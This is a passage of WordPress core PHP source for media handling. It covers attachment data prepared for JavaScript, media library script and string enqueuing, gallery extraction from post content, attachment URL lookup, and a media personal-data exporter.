			$response['fileLength']              = $meta['length_formatted'];
			$response['fileLengthHumanReadable'] = human_readable_duration( $meta['length_formatted'] );
		}

		$response['meta'] = array();
		foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) {
			$response['meta'][ $key ] = false;

			if ( ! empty( $meta[ $key ] ) ) {
				$response['meta'][ $key ] = $meta[ $key ];
			}
		}

		$id = get_post_thumbnail_id( $attachment->ID );
		if ( ! empty( $id ) ) {
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' );
			$response['image']            = compact( 'src', 'width', 'height' );
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' );
			$response['thumb']            = compact( 'src', 'width', 'height' );
		} else {
			$src               = wp_mime_type_icon( $attachment->ID, '.svg' );
			$width             = 48;
			$height            = 64;
			$response['image'] = compact( 'src', 'width', 'height' );
			$response['thumb'] = compact( 'src', 'width', 'height' );
		}
	}

	if ( function_exists( 'get_compat_media_markup' ) ) {
		$response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) );
	}

	if ( function_exists( 'get_media_states' ) ) {
		$media_states = get_media_states( $attachment );
		if ( ! empty( $media_states ) ) {
			$response['mediaStates'] = implode( ', ', $media_states );
		}
	}

	/**
	 * Filters the attachment data prepared for JavaScript.
	 *
	 * @since 3.5.0
	 *
	 * @param array       $response   Array of prepared attachment data. See {@see wp_prepare_attachment_for_js()}.
	 * @param WP_Post     $attachment Attachment object.
	 * @param array|false $meta       Array of attachment meta data, or false if there is none.
	 */
	return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta );
}

/**
 * Enqueues all scripts, styles, settings, and templates necessary to use
 * all media JS APIs.
 *
 * @since 3.5.0
 *
 * @global int       $content_width
 * @global wpdb      $wpdb          WordPress database abstraction object.
 * @global WP_Locale $wp_locale     WordPress date and time locale object.
 *
 * @param array $args {
 *     Arguments for enqueuing media scripts.
 *
 *     @type int|WP_Post $post Post ID or post object.
 * }
 */
function wp_enqueue_media( $args = array() ) {
	// Enqueue me just once per page, please.
	if ( did_action( 'wp_enqueue_media' ) ) {
		return;
	}

	global $content_width, $wpdb, $wp_locale;

	$defaults = array(
		'post' => null,
	);
	$args     = wp_parse_args( $args, $defaults );

	/*
	 * We're going to pass the old thickbox media tabs to `media_upload_tabs`
	 * to ensure plugins will work. We will then unset those tabs.
	 */
	$tabs = array(
		// handler action suffix => tab label
		'type'     => '',
		'type_url' => '',
		'gallery'  => '',
		'library'  => '',
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$tabs = apply_filters( 'media_upload_tabs', $tabs );
	unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] );

	$props = array(
		'link'  => get_option( 'image_default_link_type' ), // DB default is 'file'.
		'align' => get_option( 'image_default_align' ),     // Empty default.
		'size'  => get_option( 'image_default_size' ),      // Empty default.
	);

	$exts      = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() );
	$mimes     = get_allowed_mime_types();
	$ext_mimes = array();
	foreach ( $exts as $ext ) {
		foreach ( $mimes as $ext_preg => $mime_match ) {
			if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) {
				$ext_mimes[ $ext ] = $mime_match;
				break;
			}
		}
	}

	/**
	 * Allows showing or hiding the "Create Audio Playlist" button in the media library.
	 *
	 * By default, the "Create Audio Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any audio items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any audio files exist in the media library.
	 */
	$show_audio_playlist = apply_filters( 'media_library_show_audio_playlist', true );
	if ( null === $show_audio_playlist ) {
		$show_audio_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'audio%'
			LIMIT 1"
		);
	}

	/**
	 * Allows showing or hiding the "Create Video Playlist" button in the media library.
	 *
	 * By default, the "Create Video Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any video items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any video files exist in the media library.
	 */
	$show_video_playlist = apply_filters( 'media_library_show_video_playlist', true );
	if ( null === $show_video_playlist ) {
		$show_video_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'video%'
			LIMIT 1"
		);
	}

	/**
	 * Allows overriding the list of months displayed in the media library.
	 *
	 * By default (if this filter does not return an array), a query will be
	 * run to determine the months that have media items.  This query can be
	 * expensive for large media libraries, so it may be desirable for sites to
	 * override this behavior.
	 *
	 * @since 4.7.4
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param stdClass[]|null $months An array of objects with `month` and `year`
	 *                                properties, or `null` for default behavior.
	 */
	$months = apply_filters( 'media_library_months_with_files', null );
	if ( ! is_array( $months ) ) {
		$months = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
				FROM $wpdb->posts
				WHERE post_type = %s
				ORDER BY post_date DESC",
				'attachment'
			)
		);
	}
	foreach ( $months as $month_year ) {
		$month_year->text = sprintf(
			/* translators: 1: Month, 2: Year. */
			__( '%1$s %2$d' ),
			$wp_locale->get_month( $month_year->month ),
			$month_year->year
		);
	}

	/**
	 * Filters whether the Media Library grid has infinite scrolling. Default `false`.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $infinite Whether the Media Library grid has infinite scrolling.
	 */
	$infinite_scrolling = apply_filters( 'media_library_infinite_scrolling', false );

	$settings = array(
		'tabs'              => $tabs,
		'tabUrl'            => add_query_arg( array( 'chromeless' => true ), admin_url( 'media-upload.php' ) ),
		'mimeTypes'         => wp_list_pluck( get_post_mime_types(), 0 ),
		/** This filter is documented in wp-admin/includes/media.php */
		'captions'          => ! apply_filters( 'disable_captions', '' ),
		'nonce'             => array(
			'sendToEditor'           => wp_create_nonce( 'media-send-to-editor' ),
			'setAttachmentThumbnail' => wp_create_nonce( 'set-attachment-thumbnail' ),
		),
		'post'              => array(
			'id' => 0,
		),
		'defaultProps'      => $props,
		'attachmentCounts'  => array(
			'audio' => ( $show_audio_playlist ) ? 1 : 0,
			'video' => ( $show_video_playlist ) ? 1 : 0,
		),
		'oEmbedProxyUrl'    => rest_url( 'oembed/1.0/proxy' ),
		'embedExts'         => $exts,
		'embedMimes'        => $ext_mimes,
		'contentWidth'      => $content_width,
		'months'            => $months,
		'mediaTrash'        => MEDIA_TRASH ? 1 : 0,
		'infiniteScrolling' => ( $infinite_scrolling ) ? 1 : 0,
	);

	$post = null;
	if ( isset( $args['post'] ) ) {
		$post             = get_post( $args['post'] );
		$settings['post'] = array(
			'id'    => $post->ID,
			'nonce' => wp_create_nonce( 'update-post_' . $post->ID ),
		);

		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' );
		if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) {
			if ( wp_attachment_is( 'audio', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			$featured_image_id                   = get_post_meta( $post->ID, '_thumbnail_id', true );
			$settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
		}
	}

	if ( $post ) {
		$post_type_object = get_post_type_object( $post->post_type );
	} else {
		$post_type_object = get_post_type_object( 'post' );
	}

	$strings = array(
		// Generic.
		'mediaFrameDefaultTitle'      => __( 'Media' ),
		'url'                         => __( 'URL' ),
		'addMedia'                    => __( 'Add media' ),
		'search'                      => __( 'Search' ),
		'select'                      => __( 'Select' ),
		'cancel'                      => __( 'Cancel' ),
		'update'                      => __( 'Update' ),
		'replace'                     => __( 'Replace' ),
		'remove'                      => __( 'Remove' ),
		'back'                        => __( 'Back' ),
		/*
		 * translators: This is a would-be plural string used in the media manager.
		 * If there is not a word you can use in your language to avoid issues with the
		 * lack of plural support here, turn it into "selected: %d" then translate it.
		 */
		'selected'                    => __( '%d selected' ),
		'dragInfo'                    => __( 'Drag and drop to reorder media files.' ),

		// Upload.
		'uploadFilesTitle'            => __( 'Upload files' ),
		'uploadImagesTitle'           => __( 'Upload images' ),

		// Library.
		'mediaLibraryTitle'           => __( 'Media Library' ),
		'insertMediaTitle'            => __( 'Add media' ),
		'createNewGallery'            => __( 'Create a new gallery' ),
		'createNewPlaylist'           => __( 'Create a new playlist' ),
		'createNewVideoPlaylist'      => __( 'Create a new video playlist' ),
		'returnToLibrary'             => __( '&#8592; Go to library' ),
		'allMediaItems'               => __( 'All media items' ),
		'allDates'                    => __( 'All dates' ),
		'noItemsFound'                => __( 'No items found.' ),
		'insertIntoPost'              => $post_type_object->labels->insert_into_item,
		'unattached'                  => _x( 'Unattached', 'media items' ),
		'mine'                        => _x( 'Mine', 'media items' ),
		'trash'                       => _x( 'Trash', 'noun' ),
		'uploadedToThisPost'          => $post_type_object->labels->uploaded_to_this_item,
		'warnDelete'                  => __( "You are about to permanently delete this item from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkDelete'              => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkTrash'               => __( "You are about to trash these items.\n  'Cancel' to stop, 'OK' to delete." ),
		'bulkSelect'                  => __( 'Bulk select' ),
		'trashSelected'               => __( 'Move to Trash' ),
		'restoreSelected'             => __( 'Restore from Trash' ),
		'deletePermanently'           => __( 'Delete permanently' ),
		'errorDeleting'               => __( 'Error in deleting the attachment.' ),
		'apply'                       => __( 'Apply' ),
		'filterByDate'                => __( 'Filter by date' ),
		'filterByType'                => __( 'Filter by type' ),
		'searchLabel'                 => __( 'Search' ),
		'searchMediaLabel'            => __( 'Search media' ),          // Backward compatibility pre-5.3.
		'searchMediaPlaceholder'      => __( 'Search media items...' ), // Placeholder (no ellipsis), backward compatibility pre-5.3.
		/* translators: %d: Number of attachments found in a search. */
		'mediaFound'                  => __( 'Number of media items found: %d' ),
		'noMedia'                     => __( 'No media items found.' ),
		'noMediaTryNewSearch'         => __( 'No media items found. Try a different search.' ),

		// Library Details.
		'attachmentDetails'           => __( 'Attachment details' ),

		// From URL.
		'insertFromUrlTitle'          => __( 'Insert from URL' ),

		// Featured Images.
		'setFeaturedImageTitle'       => $post_type_object->labels->featured_image,
		'setFeaturedImage'            => $post_type_object->labels->set_featured_image,

		// Gallery.
		'createGalleryTitle'          => __( 'Create gallery' ),
		'editGalleryTitle'            => __( 'Edit gallery' ),
		'cancelGalleryTitle'          => __( '&#8592; Cancel gallery' ),
		'insertGallery'               => __( 'Insert gallery' ),
		'updateGallery'               => __( 'Update gallery' ),
		'addToGallery'                => __( 'Add to gallery' ),
		'addToGalleryTitle'           => __( 'Add to gallery' ),
		'reverseOrder'                => __( 'Reverse order' ),

		// Edit Image.
		'imageDetailsTitle'           => __( 'Image details' ),
		'imageReplaceTitle'           => __( 'Replace image' ),
		'imageDetailsCancel'          => __( 'Cancel edit' ),
		'editImage'                   => __( 'Edit image' ),

		// Crop Image.
		'chooseImage'                 => __( 'Choose image' ),
		'selectAndCrop'               => __( 'Select and crop' ),
		'skipCropping'                => __( 'Skip cropping' ),
		'cropImage'                   => __( 'Crop image' ),
		'cropYourImage'               => __( 'Crop your image' ),
		'cropping'                    => __( 'Cropping&hellip;' ),
		/* translators: 1: Suggested width number, 2: Suggested height number. */
		'suggestedDimensions'         => __( 'Suggested image dimensions: %1$s by %2$s pixels.' ),
		'cropError'                   => __( 'There has been an error cropping your image.' ),

		// Edit Audio.
		'audioDetailsTitle'           => __( 'Audio details' ),
		'audioReplaceTitle'           => __( 'Replace audio' ),
		'audioAddSourceTitle'         => __( 'Add audio source' ),
		'audioDetailsCancel'          => __( 'Cancel edit' ),

		// Edit Video.
		'videoDetailsTitle'           => __( 'Video details' ),
		'videoReplaceTitle'           => __( 'Replace video' ),
		'videoAddSourceTitle'         => __( 'Add video source' ),
		'videoDetailsCancel'          => __( 'Cancel edit' ),
		'videoSelectPosterImageTitle' => __( 'Select poster image' ),
		'videoAddTrackTitle'          => __( 'Add subtitles' ),

		// Playlist.
		'playlistDragInfo'            => __( 'Drag and drop to reorder tracks.' ),
		'createPlaylistTitle'         => __( 'Create audio playlist' ),
		'editPlaylistTitle'           => __( 'Edit audio playlist' ),
		'cancelPlaylistTitle'         => __( '&#8592; Cancel audio playlist' ),
		'insertPlaylist'              => __( 'Insert audio playlist' ),
		'updatePlaylist'              => __( 'Update audio playlist' ),
		'addToPlaylist'               => __( 'Add to audio playlist' ),
		'addToPlaylistTitle'          => __( 'Add to Audio Playlist' ),

		// Video Playlist.
		'videoPlaylistDragInfo'       => __( 'Drag and drop to reorder videos.' ),
		'createVideoPlaylistTitle'    => __( 'Create video playlist' ),
		'editVideoPlaylistTitle'      => __( 'Edit video playlist' ),
		'cancelVideoPlaylistTitle'    => __( '&#8592; Cancel video playlist' ),
		'insertVideoPlaylist'         => __( 'Insert video playlist' ),
		'updateVideoPlaylist'         => __( 'Update video playlist' ),
		'addToVideoPlaylist'          => __( 'Add to video playlist' ),
		'addToVideoPlaylistTitle'     => __( 'Add to video Playlist' ),

		// Headings.
		'filterAttachments'           => __( 'Filter media' ),
		'attachmentsList'             => __( 'Media list' ),
	);

	/**
	 * Filters the media view settings.
	 *
	 * @since 3.5.0
	 *
	 * @param array   $settings List of media view settings.
	 * @param WP_Post $post     Post object.
	 */
	$settings = apply_filters( 'media_view_settings', $settings, $post );

	/**
	 * Filters the media view strings.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $strings Array of media view strings keyed by the name they'll be referenced by in JavaScript.
	 * @param WP_Post  $post    Post object.
	 */
	$strings = apply_filters( 'media_view_strings', $strings, $post );

	$strings['settings'] = $settings;

	/*
	 * Ensure we enqueue media-editor first, that way media-views
	 * is registered internally before we try to localize it. See #24724.
	 */
	wp_enqueue_script( 'media-editor' );
	wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings );

	wp_enqueue_script( 'media-audiovideo' );
	wp_enqueue_style( 'media-views' );
	if ( is_admin() ) {
		wp_enqueue_script( 'mce-view' );
		wp_enqueue_script( 'image-edit' );
	}
	wp_enqueue_style( 'imgareaselect' );
	wp_plupload_default_settings();

	require_once ABSPATH . WPINC . '/media-template.php';
	add_action( 'admin_footer', 'wp_print_media_templates' );
	add_action( 'wp_footer', 'wp_print_media_templates' );
	add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' );

	/**
	 * Fires at the conclusion of wp_enqueue_media().
	 *
	 * @since 3.5.0
	 */
	do_action( 'wp_enqueue_media' );
}

/**
 * Retrieves media attached to the passed post.
 *
 * @since 3.6.0
 *
 * @param string      $type Mime type.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return WP_Post[] Array of media attached to the given post.
 */
function get_attached_media( $type, $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	$args = array(
		'post_parent'    => $post->ID,
		'post_type'      => 'attachment',
		'post_mime_type' => $type,
		'posts_per_page' => -1,
		'orderby'        => 'menu_order',
		'order'          => 'ASC',
	);

	/**
	 * Filters arguments used to retrieve media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $args Post query arguments.
	 * @param string  $type Mime type of the desired media.
	 * @param WP_Post $post Post object.
	 */
	$args = apply_filters( 'get_attached_media_args', $args, $type, $post );

	$children = get_children( $args );

	/**
	 * Filters the list of media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param WP_Post[] $children Array of media attached to the given post.
	 * @param string    $type     Mime type of the media desired.
	 * @param WP_Post   $post     Post object.
	 */
	return (array) apply_filters( 'get_attached_media', $children, $type, $post );
}

/**
 * Checks the HTML content for an audio, video, object, embed, or iframe tags.
 *
 * @since 3.6.0
 *
 * @param string   $content A string of HTML which might contain media elements.
 * @param string[] $types   An array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'.
 * @return string[] Array of found HTML media elements.
 */
function get_media_embedded_in_content( $content, $types = null ) {
	$html = array();

	/**
	 * Filters the embedded media types that are allowed to be returned from the content blob.
	 *
	 * @since 4.2.0
	 *
	 * @param string[] $allowed_media_types An array of allowed media types. Default media types are
	 *                                      'audio', 'video', 'object', 'embed', and 'iframe'.
	 */
	$allowed_media_types = apply_filters( 'media_embedded_in_content_allowed_types', array( 'audio', 'video', 'object', 'embed', 'iframe' ) );

	if ( ! empty( $types ) ) {
		if ( ! is_array( $types ) ) {
			$types = array( $types );
		}

		$allowed_media_types = array_intersect( $allowed_media_types, $types );
	}

	$tags = implode( '|', $allowed_media_types );

	if ( preg_match_all( '#<(?P<tag>' . $tags . ')[^<]*?(?:>[\s\S]*?<\/(?P=tag)>|\s*\/>)#', $content, $matches ) ) {
		foreach ( $matches[0] as $match ) {
			$html[] = $match;
		}
	}

	return $html;
}

/**
 * Retrieves galleries from the passed post's content.
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Post ID or object.
 * @param bool        $html Optional. Whether to return HTML or data in the array. Default true.
 * @return array A list of arrays, each containing gallery data and srcs parsed
 *               from the expanded shortcode.
 */
function get_post_galleries( $post, $html = true ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	if ( ! has_shortcode( $post->post_content, 'gallery' ) && ! has_block( 'gallery', $post->post_content ) ) {
		return array();
	}

	$galleries = array();
	if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) {
		foreach ( $matches as $shortcode ) {
			if ( 'gallery' === $shortcode[2] ) {
				$srcs = array();

				$shortcode_attrs = shortcode_parse_atts( $shortcode[3] );
				if ( ! is_array( $shortcode_attrs ) ) {
					$shortcode_attrs = array();
				}

				// Specify the post ID of the gallery we're viewing if the shortcode doesn't reference another post already.
				if ( ! isset( $shortcode_attrs['id'] ) ) {
					$shortcode[3] .= ' id="' . (int) $post->ID . '"';
				}

				$gallery = do_shortcode_tag( $shortcode );
				if ( $html ) {
					$galleries[] = $gallery;
				} else {
					preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER );
					if ( ! empty( $src ) ) {
						foreach ( $src as $s ) {
							$srcs[] = $s[2];
						}
					}

					$galleries[] = array_merge(
						$shortcode_attrs,
						array(
							'src' => array_values( array_unique( $srcs ) ),
						)
					);
				}
			}
		}
	}

	if ( has_block( 'gallery', $post->post_content ) ) {
		$post_blocks = parse_blocks( $post->post_content );

		while ( $block = array_shift( $post_blocks ) ) {
			$has_inner_blocks = ! empty( $block['innerBlocks'] );

			// Skip blocks with no blockName and no innerHTML.
			if ( ! $block['blockName'] ) {
				continue;
			}

			// Skip non-Gallery blocks.
			if ( 'core/gallery' !== $block['blockName'] ) {
				// Move inner blocks into the root array before skipping.
				if ( $has_inner_blocks ) {
					array_push( $post_blocks, ...$block['innerBlocks'] );
				}
				continue;
			}

			// New Gallery block format as HTML.
			if ( $has_inner_blocks && $html ) {
				$block_html  = wp_list_pluck( $block['innerBlocks'], 'innerHTML' );
				$galleries[] = '<figure>' . implode( ' ', $block_html ) . '</figure>';
				continue;
			}

			$srcs = array();

			// New Gallery block format as an array.
			if ( $has_inner_blocks ) {
				$attrs = wp_list_pluck( $block['innerBlocks'], 'attrs' );
				$ids   = wp_list_pluck( $attrs, 'id' );

				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Old Gallery block format as HTML.
			if ( $html ) {
				$galleries[] = $block['innerHTML'];
				continue;
			}

			// Old Gallery block format as an array.
			$ids = ! empty( $block['attrs']['ids'] ) ? $block['attrs']['ids'] : array();

			// If present, use the image IDs from the JSON blob as canonical.
			if ( ! empty( $ids ) ) {
				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Otherwise, extract srcs from the innerHTML.
			preg_match_all( '#src=([\'"])(.+?)\1#is', $block['innerHTML'], $found_srcs, PREG_SET_ORDER );

			if ( ! empty( $found_srcs[0] ) ) {
				foreach ( $found_srcs as $src ) {
					if ( isset( $src[2] ) && ! in_array( $src[2], $srcs, true ) ) {
						$srcs[] = $src[2];
					}
				}
			}

			$galleries[] = array( 'src' => $srcs );
		}
	}

	/**
	 * Filters the list of all found galleries in the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $galleries Associative array of all found post galleries.
	 * @param WP_Post $post      Post object.
	 */
	return apply_filters( 'get_post_galleries', $galleries, $post );
}

/**
 * Checks a specified post's content for gallery and, if present, return the first
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @param bool        $html Optional. Whether to return HTML or data. Default is true.
 * @return string|array Gallery data and srcs parsed from the expanded shortcode.
 */
function get_post_gallery( $post = 0, $html = true ) {
	$galleries = get_post_galleries( $post, $html );
	$gallery   = reset( $galleries );

	/**
	 * Filters the first-found post gallery.
	 *
	 * @since 3.6.0
	 *
	 * @param array       $gallery   The first-found post gallery.
	 * @param int|WP_Post $post      Post ID or object.
	 * @param array       $galleries Associative array of all found post galleries.
	 */
	return apply_filters( 'get_post_gallery', $gallery, $post, $galleries );
}

/**
 * Retrieves the image srcs from galleries from a post's content, if present.
 *
 * @since 3.6.0
 *
 * @see get_post_galleries()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return array A list of lists, each containing image srcs parsed.
 *               from an expanded shortcode
 */
function get_post_galleries_images( $post = 0 ) {
	$galleries = get_post_galleries( $post, false );
	return wp_list_pluck( $galleries, 'src' );
}

/**
 * Checks a post's content for galleries and return the image srcs for the first found gallery.
 *
 * @since 3.6.0
 *
 * @see get_post_gallery()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string[] A list of a gallery's image srcs in order.
 */
function get_post_gallery_images( $post = 0 ) {
	$gallery = get_post_gallery( $post, false );
	return empty( $gallery['src'] ) ? array() : $gallery['src'];
}

/**
 * Maybe attempts to generate attachment metadata, if missing.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment Attachment object.
 */
function wp_maybe_generate_attachment_metadata( $attachment ) {
	if ( empty( $attachment ) || empty( $attachment->ID ) ) {
		return;
	}

	$attachment_id = (int) $attachment->ID;
	$file          = get_attached_file( $attachment_id );
	$meta          = wp_get_attachment_metadata( $attachment_id );

	if ( empty( $meta ) && file_exists( $file ) ) {
		$_meta = get_post_meta( $attachment_id );
		$_lock = 'wp_generating_att_' . $attachment_id;

		if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $_lock ) ) {
			set_transient( $_lock, $file );
			wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			delete_transient( $_lock );
		}
	}
}

/**
 * Tries to convert an attachment URL into a post ID.
 *
 * @since 4.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $url The URL to resolve.
 * @return int The found post ID, or 0 on failure.
 */
function attachment_url_to_postid( $url ) {
	global $wpdb;

	$dir  = wp_get_upload_dir();
	$path = $url;

	$site_url   = parse_url( $dir['url'] );
	$image_path = parse_url( $path );

	// Force the protocols to match if needed.
	if ( isset( $image_path['scheme'] ) && ( $image_path['scheme'] !== $site_url['scheme'] ) ) {
		$path = str_replace( $image_path['scheme'], $site_url['scheme'], $path );
	}

	if ( str_starts_with( $path, $dir['baseurl'] . '/' ) ) {
		$path = substr( $path, strlen( $dir['baseurl'] . '/' ) );
	}

	$sql = $wpdb->prepare(
		"SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s",
		$path
	);

	$results = $wpdb->get_results( $sql );
	$post_id = null;

	if ( $results ) {
		// Use the first available result, but prefer a case-sensitive match, if exists.
		$post_id = reset( $results )->post_id;

		if ( count( $results ) > 1 ) {
			foreach ( $results as $result ) {
				if ( $path === $result->meta_value ) {
					$post_id = $result->post_id;
					break;
				}
			}
		}
	}

	/**
	 * Filters an attachment ID found by URL.
	 *
	 * @since 4.2.0
	 *
	 * @param int|null $post_id The post_id (if any) found by the function.
	 * @param string   $url     The URL being looked up.
	 */
	return (int) apply_filters( 'attachment_url_to_postid', $post_id, $url );
}

/**
 * Returns the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view.
 *
 * @since 4.0.0
 *
 * @return string[] The relevant CSS file URLs.
 */
function wpview_media_sandbox_styles() {
	$version        = 'ver=' . get_bloginfo( 'version' );
	$mediaelement   = includes_url( "js/mediaelement/mediaelementplayer-legacy.min.css?$version" );
	$wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" );

	return array( $mediaelement, $wpmediaelement );
}

/**
 * Registers the personal data exporter for media.
 *
 * @param array[] $exporters An array of personal data exporters, keyed by their ID.
 * @return array[] Updated array of personal data exporters.
 */
function wp_register_media_personal_data_exporter( $exporters ) {
	$exporters['wordpress-media'] = array(
		'exporter_friendly_name' => __( 'WordPress Media' ),
		'callback'               => 'wp_media_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports attachments associated with an email address.
 *
 * @since 4.9.6
 *
 * @param string $email_address The attachment owner email address.
 * @param int    $page          Attachment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_media_personal_data_exporter( $email_address, $page = 1 ) {
	// Limit us to 50 attachments at a time to avoid timing out.
	$number = 50;
	$page   = (int) $page;

	$data_to_export = array();

	$user = get_user_by( 'email', $email_address );
	if ( false === $user ) {
		return array(
			'data' => $data_to_export,
			'done' => true,
		);
	}

	$post_query = new WP_Query(
		array(
			'author'         => $user->ID,
			'posts_per_page' => $number,
			'paged'          => $page,
			'post_type'      => 'attachment',
			'post_status'    => 'any',
			'orderby'        => 'ID',
			'order'          => 'ASC',
		)
	);

	foreach ( (array) $post_query->posts as $post ) {
		$attachment_url = wp_get_attachment_url( $post->ID );

		if ( $attachment_url ) {
			$post_data_to_export = array(
				array(
					'name'  => __( 'URL' ),
					'value' => $attachment_url,
				),
			);

			$data_to_export[] = array(
				'group_id'          => 'media',
				'group_label'       => __( 'Media' ),
				'group_description' => __( 'User&#8217;s media data.' ),
				'item_id'           => "post-{$post->ID}",
				'data'              => $post_data_to_export,
			);
		}
	}

	$done = $post_query->max_num_pages <= $page;

	return array(
		'data' => $data_to_export,
		'done' => $done,
	);
}

/**
 * Adds additional default image sub-sizes.
 *
 * These sizes are meant to enhance the way WordPress displays images on the front-end on larger,
 * high-density devices. They make it possible to generate more suitable `srcset` and `sizes` attributes
 * when the users upload large images.
 *
 * The sizes can be changed or removed by themes and plugins but that is not recommended.
 * The size "names" reflect the image dimensions, so changing the sizes would be quite misleading.
 *
 * @since 5.3.0
 * @access private
 */
function _wp_add_additional_image_sizes() {
	// 2x medium_large size.
	add_image_size( '1536x1536', 1536, 1536 );
	// 2x large size.
	add_image_size( '2048x2048', 2048, 2048 );
}

/**
 * Callback to enable showing of the user error when uploading .heic images.
 *
 * @since 5.5.0
 *
 * @param array[] $plupload_settings The settings for Plupload.js.
 * @return array[] Modified settings for Plupload.js.
 */
function wp_show_heic_upload_error( $plupload_settings ) {
	$plupload_settings['heic_upload_error'] = true;
	return $plupload_settings;
}

/**
 * Allows PHP's getimagesize() to be debuggable when necessary.
 *
 * @since 5.7.0
 * @since 5.8.0 Added support for WebP images.
 * @since 6.5.0 Added support for AVIF images.
 *
 * @param string $filename   The file path.
 * @param array  $image_info Optional. Extended image information (passed by reference).
 * @return array|false Array of image information or false on failure.
 */
function wp_getimagesize( $filename, array &$image_info = null ) {
	// Don't silence errors when in debug mode, unless running unit tests.
	if ( defined( 'WP_DEBUG' ) && WP_DEBUG
		&& ! defined( 'WP_RUN_CORE_TESTS' )
	) {
		if ( 2 === func_num_args() ) {
			$info = getimagesize( $filename, $image_info );
		} else {
			$info = getimagesize( $filename );
		}
	} else {
		/*
		 * Silencing notice and warning is intentional.
		 *
		 * getimagesize() has a tendency to generate errors, such as
		 * "corrupt JPEG data: 7191 extraneous bytes before marker",
		 * even when it's able to provide image size information.
		 *
		 * See https://core.trac.wordpress.org/ticket/42480
		 */
		if ( 2 === func_num_args() ) {
			$info = @getimagesize( $filename, $image_info );
		} else {
			$info = @getimagesize( $filename );
		}
	}

	if (
		! empty( $info ) &&
		// Some PHP versions return 0x0 sizes from `getimagesize` for unrecognized image formats, including AVIFs.
